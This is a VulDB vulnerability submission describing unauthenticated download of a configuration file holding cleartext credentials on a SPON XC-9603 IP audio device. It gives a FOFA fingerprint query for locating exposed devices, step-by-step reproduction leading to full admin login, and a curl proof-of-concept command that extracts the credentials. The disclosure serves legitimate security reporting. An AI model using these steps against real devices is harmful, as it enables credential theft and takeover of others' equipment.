| Название | SPON Communications IP Network Audio Device XC-9603 1.2.3_20181106 Build 107 Information Exposure |
|---|
| Описание | 1. Threat Intelligence & Asset Mapping
To verify the systemic nature of this vulnerability and identify impacted systems, the following FOFA fingerprint can be used:
body="<iframe name=db style=\"display:none\" src=\"/ini/sys_cfg.txt\"" || (body="/ini/sys_cfg.txt" && body="loadCfg()")
2. Detailed Reproduction Steps
Step 1: Asset Identification
Execute the FOFA fingerprint query above to locate candidate target devices. Navigate to the web login interface of any identified asset:
http://<target_ip>/
These kinds of products are usually deployed on internal networks, so there aren't many targets you can find on FOFA. Here, I provide a target that can be reproduced.
Like http://x.x.x.x:8155/,this target can be find on FOFA.
Step 2: Source Code Inspection
Open the login page in a web browser, right-click, and select View Page Source (or press Ctrl + U / open Developer Tools via F12).
Locate the following hidden iframe element near the bottom of the HTML <body>:
<iframe name=db style="display:none" src="/ini/sys_cfg.txt" onload=loadCfg()></iframe>
This confirms that the frontend architecture automatically issues an HTTP request to /ini/sys_cfg.txt upon page load to retrieve device status parameters.
Step 3: Unauthenticated Configuration File Download
Without entering any credentials or performing authentication, issue a direct HTTP GET request to the configuration endpoint:
http://<target_ip>/ini/sys_cfg.txt
Because the server enforces no access control or session validation on this static endpoint, it returns the entire system configuration file (sys_cfg.txt) in cleartext.
Step 4: Credential Extraction
Inspect the returned configuration payload and navigate to the [web_cfg] section to retrieve the cleartext administrative credentials:
[web_cfg]
username=admin
password=123456
lockstatus=1
locktime=1784864921
(Note: Additional sensitive credentials, including FTP accounts under [server_cfg], SIP protocol passwords under [board_1], and cloud IoT tokens under [cloud_cfg], are also exposed within the same file).
Step 5: Unauthorized Administrative Access
Return to the main web login interface (http://<target_ip>/).
Enter the extracted username (e.g., admin) and cleartext password (e.g., 123456).
Submit the form to successfully authenticate and gain full administrative control over the target device.
3. Command-Line Proof of Concept (PoC)
Security researchers and defensive teams can verify vulnerability exposure using the following non-destructive curl command:
Bash
# Issue an unauthenticated request to retrieve exposed web admin credentials
curl -sk "http://<target_ip>/ini/sys_cfg.txt" | grep -A 2 "\[web_cfg\]"
Expected Output:
[web_cfg]
username=admin
password=<cleartext_password>
Then we can use the username and password to login the web management page. |
|---|
| Пользователь | Yuki-U (UID 97865) |
|---|
| Представление | 25.07.2026 09:58 (2 месяцы назад) |
|---|
| Модерация | 23.09.2026 18:15 (2 months later) |
|---|
| Статус | принято |
|---|
| Запись VulDB | 409033 [SPON Communications IP Network Audio Device XC-9603 1.2.3_20181106 Build 107 Configuration File Download /ini/sys_cfg.txt loadCfg раскрытие информации] |
|---|
| Баллы | 17 |
|---|